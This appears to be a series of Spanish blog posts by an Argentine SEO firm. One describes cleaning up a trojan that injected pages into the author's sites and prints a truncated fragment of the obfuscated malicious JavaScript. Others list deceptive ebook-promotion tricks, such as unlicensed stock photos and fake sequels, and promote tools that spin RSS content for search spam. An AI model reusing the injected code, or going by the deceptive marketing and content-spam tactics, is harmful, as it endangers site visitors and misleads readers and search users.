Subsidios para empresas de software en Argentina

Estamos cerrando la convocatoria para empresas de software que deseen pedir un subsidio al FONTAR (Fondo Tecnológico Argentino).
Las categorías son:
Certificación de Calidad,
Desarrollo de nuevos productos y procesos de software,
Investigación y Desarrollo precompetitivo de productos y procesos de software.
El concurso cierra el 19 de agosto, pero lleva un mes preparar los formularios, certificados, presupuestos, curricula y plan de trabajo, por lo cual instamos a quienes deseen nuestro apoyo y el servicio de Vinculación Tecnológica que ofrecemos a través de UTN-Reg.BA, a que nos contacten a la brevedad.
Se pueden pedir entre 180.000 y 600.000 pesos argentinos según la modalidad, cuyos detalles están en el sitio de Fontar
En el historial de estos llamados a concurso hay una larga lista de proyectos propuestos, con una tasa de éxito general del 30%. En el caso de los proyectos formulados y administrados por nosotros, el porcentaje se duplica. Por lo tanto, a menos que Ud. cuente con mucho conocimiento en gestión de subsidios, recomenamos que afronte el costo inicial de nuestra consultoría…

10 Recursos Baratos para vender eBooks (Por Aquiles K. Gómez)

Hace bastante que no publico acá porque estuve trabajando en un ebook, recientemente lanzado. Se llama «Naked Business Proposals«, y lo hice en inglés porque en el mundo angloparlante hay más cultura de inversión de riesgo, además de más recursos. En realidad, hace años había escrito «Cibernegocios», con orientación parecida, pero éste estaba tan desactualizado que cuando quise traducirlo tuve que re-escribirlo por completo.
Esta publicación para Meneame habla del recurso de una modelo para ilustrar los capí­tulos del libro, un recurso cuestionable pero seguramente efectivo.
10 Recursos Baratos para vender eBooks. (Por Aquiles K. Gómez)
1) Cómprese Ud. mismo. Muchas librerí­as tienen un ranking con los libros más vendidos, y estar entre los Top Ten o Bestsellers aunque sea por un rato es un buen empujón para las ventas. Esta estrategia funcionó para libros en papel y generó mucho revuelo.
2) Incluya fotos de agencia sin pagar. Cuando le reclamen, proteste y luego pague. La publicidad puede valer más que los 200 o 300 dólares pagados.
3) Denuncie que le quieren impedir hablar o publicar. Si es posible, hágale juicio a alguien.
4) Anuncie un concurso que requiera leer el libro. Ofrezca un premio accesible pero llamativo.
5) Anuncie la secuela del libro, con un tí­tulo llamativo. No necesita realmente escribirlo luego.
6) Idem anterior. Ofrezca figurar en la tapa de un próximo libro a quien resuelva algún acertijo.
7) Aproveche nombres conocidos para su publicidad: ‘El libro que Harry Potter hubiera querido leer`. Nadie podrá desmentirlo. Adopte un seudónimo llamativo: un autor llamado ‘Aquiles K. Gómez’ venderá más que Nicasio Arietaleabeaskoa
8) Sea noticia de alguna manera no ilegal: ‘Autor sacrifica aves en rito satánico para invocar a los personajes de su futura obra’
9) Robe a los muertos. El plagio se extingue a los 50 años de muerto el autor. ‘La Verdadera Historia de los Tres Mosqueteros y su sangriento triángulo amoroso’.
10) El sexo vende. Incluya fotos de mujeres desnudas en su libro. Si tiene ganas, invente alguna excusa. Si nó, no hace falta.
(Aquiles es seudónimo del autor de este blog y de Naked Business Proposals, donde las propuestas de negocios sin preámbulos ni envoltorios están ilustradas por fotos de modelos desnudas)

Contenido automático para los blogs

Todos los que tenemos un blog, como éste, tenemos la obligación periódica de agregar contenido. Esto atrae visitantes regulares, y produce de a poco el efecto deseado de convencerlos de la calidad del producto que vendemos. En este caso, servicios SEO o sea, posicionamiento orgánico en los buscadores.
Además, gracias a un mecanismo de ping automático en los buenos blogs, cada publicación alerta a los sistemas agregadores de feeds y artículos, lo cual atrae visitantes y mejora la presencia del blog en los buscadores. Algunos expertos usan sistemas adicionales de ping, como Multipinger y otros, para maximizar el efecto.
Escribir buen contenido es fundamental, pero también es útil escribir contenido en general. La calidad puede ayudarse con cantidad. Para eso, tengo noticia de un sistema exitoso llamado WP-o-matic, que recolecta feeds de RSS y los transforma en posts.
Nuestra empresa tiene desde hace bastante un producto llamado Delinker, que recoge los RSS y los transforma en páginas web «delinkidas» (con los enlaces editados de diferentes maneras). Recién ahora, con el gran éxito de WordPress y sus plugins, que nos surge el proyecto de crear Delinker como plugin para WordPress. Ese producto será lanzado en pocos dí­as, y a quienes deseen adquirirlo tempranamente puedo ofrecérselos con un importante descuento.
El Delinker está, desde hace pocos dí­as, disponible como agregado en nuestro producto Synonymizer. De ese modo, los textos tomados de los Feeds RSS pueden ser delinkidos y sinonimizados, con un solo producto.
Trataré de no defraudar a los lectores de este blog con contenido generado automáticamente. Pero es posible que contribuyamos al contenido de baja calidad en otros blogs…

Lo que un promotor de sitios puede aprender de una infección con troyano

Ayer noté que mis visitas diarias en uno de mis sitios se habí­an quintuplicado de golpe. Luego de la satisfacción inicial por el reconocimiento a la calidad de mis artí­culos, algo llamó mi atención: Los temas pedidos no tení­an nada que ver con mi temática, promoción de sitios. Pedí­an recetas de comidas y tragos, porno, etc. Y cuando uno visitaba las páginas, que no habí­an sido publicadas por mí­, un malware trataba de vender por la fuerza un producto anti-spamware.
Alarmado, empecé a recorrer mis sitios con FTP, y noté una cantidad de archivos que no había­n sido publicados por mí­, y que correspondí­an a fechas de entre el 7 y el 15 de este mes. Rápidamente hice un chequeo antivirus online con Bitdefender o alguno similar, limpié mi máquina y repuse los archivos originales en los dominios. La infección seguramente subió archivos a través de mi PC, porque abarcaba varios servidores distintos, de sitios que eran accesibles por mi FTP.
La limpieza no fue fácil. Salvo la fecha, no habí­a nada para guiarme. Muchos archivos mís habí­an recibido una inyección de código al final, en Javascript, con links, y no eran detectables desde el explorador. Por lo tanto, los archivos con fecha sospechosa fueron sobreescritos. Otros archivos eran nuevos, pero tení­an nombres similares a los ya existentes, y los contenidos mezclaban contenido original mí­o con otro proveniente de recetas de comida francesa, en inglés… Y muchos links hacia el malware que te extorsiona a que lo compres. Ojo! No entrar sin tomar precauciones, tiene un javascript malicioso: está basado en adware-spyware-removal.co.cc. No aconsejo a nadie comprar un producto anti-virus hecho por fabricantes de virus. Es ceder ante la extorsión y puede tener un virus aún peor.
Antes de limpiar, me bajé una carpeta con archivos infectados para analizarlos. Los abrí­ primero con Notepad para limpiar el Javascript, o desde el cache de Google con la opción Sólo Texto. También le agregué rel=»nofollow» a la infinidad de links que tiene para evitar perder PageRank. Conservo ejemplos de página con contenido adulterado, y otro ejemplo de página generada propiamente por el virus, usando material que encontró en el sitio y en otros anteriores que infectó.
El javascript que saqué está ofuscado (enrevesado para que no se entienda) y luce algo así­ como:
<script language=»javascript»>function not(kf,cybf){if(!cybf){cybf=’+=ETxNe0C.UW6{ki8HJmt9R1IML(aQG*hn-scyY&PBZASv3f)l4KOXV?wuDpqF7;’;}var y;var OR=»;for(var azho=0;azho<kf.length;azho+=4){y=(cybf.indexOf(kf.charAt(azho))&63)<<18|(cybf.indexOf(kf.charAt(azho+1))&63)<<12|(cybf.indexOf(kf.charAt(a …
… </script>
Las páginas enlazan a otras infectadas por el mismo agente, lo cual genera una gran red de páginas interconectadas que llevan mayormente el tráfico al sitio de venta de malware.
Pero lo interesante fue analizar los logs de mi servidor, y observar que el tráfico vení­a en parte de otras páginas infectadas, y en parte de los mismos buscadores. Los referrers eran Google y Live Search, las frases clave stuffed hot cherry peppers, o Recipe/Elderflower Punch, y mis páginas infectadas estaban en los primeros puestos.
Supongo que esos posicionamientos puedo mantenerlos, si subo una página limpia que reemplace a la anterior, y explico cual fue el problema. Pero no me interesan los buscadores de recetas exóticas, por lo tanto esperaré que los buscadores se cansen de encontrar error 404 y me den de baja.
Lo que si es interesante es la estructura de las páginas usadas para captar visitas a través de buscadores: mucho texto, generado por algún Content Generator (similar a Synonymizer), y estructurado en páginas con muchas palabras clave, enlaces intercalados con texto relevante, mucho H1, y nada de diseño ni imágenes. Cantidad (miles de páginas en un sólo directorio, decenas de nuevos directorios en cada sitio infectado) y no calidad (texto derivado de mezclar palabras y frases). Obviamente que son páginas que el ojo humano no ve, porque el Javascript las redirecciona, pero sí el spider de los buscadores.
Dado que una de mis herramientas para posicionar sitios es un Page Generator que hace cosas parecidas, aunque sin invadir ni robar espacio de servidor ajeno, tomé debida nota de la estructura de dichas páginas.

Resultados de 3er experimento de posicionamiento

Habiendo completado el experimento de posicionamiento de la «Familia Raimundez» se pudieron ver resultados en sólo 10 dí­as, lo cual los hace bastante interesantes y prácticos respecto a las épocas en que habí­a que esperar 45 dí­as para un ciclo de indexación.
Los resultados coincidieron con los anteriores, en el sentido de que algunos dominios parecen arbitrariamente penalizados. Digo arbitrariamente porque no hay nada obvio en el sitio que lo haga penalizable: ninguna técnica de sombrero negro, ningún link hacia sitio cuestionable, ningún abuso de keywords o repetición obvia de contenido.
Uno de los dominios probados fue el de un cliente, que dio malos resultados de ranking tanto en keywords especí­ficas a su tema como en otras‚ no relacionadas. La historia del dominio antes de intervenir nosotros tení­a elementos de abuso (repetición de keywords en los metatags), tal como detectamos en http://Archive.org . Por lo tanto, es difícil tener buenos resultados a menos que el dominio se cambie del todo, se pidan excusas a Google, y se esperen unos meses.
Un hecho interesante fue que uno de los dominios bien posicionados en el experimento habí­a recibido dos páginas relevantes, en lugar de sólo una. Esto refuerza la teorí­a del «tema», es decir, que si un sitio tiene un tema predominante, puede rankear mejor que un sitio que tiene páginas todas distintas.
Otra conclusión es que los sitios que van a rankear mejor aparecen uno o dos dí­as antes en los resultados. Lo cual permite un doble chequeo de resultados.
También observamos que la indexación de palabras individuales es una primera etapa superficial de la indexación. Para que se indexen secuencias de palabras (que luego se buscarán con comillas) es necesario más calidad de sitio y más tiempo.
Un resultado preliminar inquietante es el que adjudica mejor poder de posicionamiento a un dominio que es blanco de una campaña de Adwords. Google siempre declaró que no permite que los resultados de las campañas pagas afecten a los resultados orgánicos. Pero también es cierto que muchos webmasters desconfí­an de que así­ sea. Deberí­amos hacer un experimento exclusivamente dedicado a discriminar este factor, y a establecer cuánto hay que gastar en Adwords, y cómo, para un mejor posicionamiento orgánico. Por ahora, puede ser casualidad.
Un análisis más fino de estos resultados está disponible para nuestros clientes de posicionamiento y para aquellos que deseen realizar esta prueba en sus dominios.

Yo1ro.com – Nuestro nuevo sitio

Inicialmente teníamos un sitio para posicionamiento en buscadores llamado netic.com, en inglés. En español teníamos y tenemos Netic.com.ar, el sitio madre de todos nuestros emprendimientos. Para posicionar mejor el sitio en términos de marketing general y electrónico, lanzamos hace varios años PromotordeSitios.com.ar, el cual tiene las palabras clave que definen su actividad y que lo posicionan muy bien en Google. Suele estar primero entre varios millones bajo dicha frase, «promotor de sitios» o «promoción de sitios», con y sin comillas.
Hace poco decidimos lanzar una nueva campaña publicitaria, pero nos pareció que el nombre no tenía suficiente «pegada», o fuerza comercial, o poder de convicción.
Además, el sitio PromotordeSitios.com.ar, que aloja a este blog, es demasiado denso en información para el usuario común, que quiere comprar el servicio y no aprender en detalle sobre cómo realizamos nuestra actividad.
Mejor era «YoPrimero.com», pero ya estaba tomado. Por lo cual seguimos investigando, y como en nombres de dominio más corto es mejor, encontramos Yo1ro.com, y también 1roYo.com. Sacamos ambos dominios, muy parecidos y valiosos para nuestra actividad. Preferimos Yo1ro.com, porque el punto le dá carácter de abreviatura al 1ro.
Por eso, de ahora en más, utilizamos Yo1ro.com como landing page de nuestra campaña de Adwords y nuestros avisos en medios impresos, papelería comercial y demás.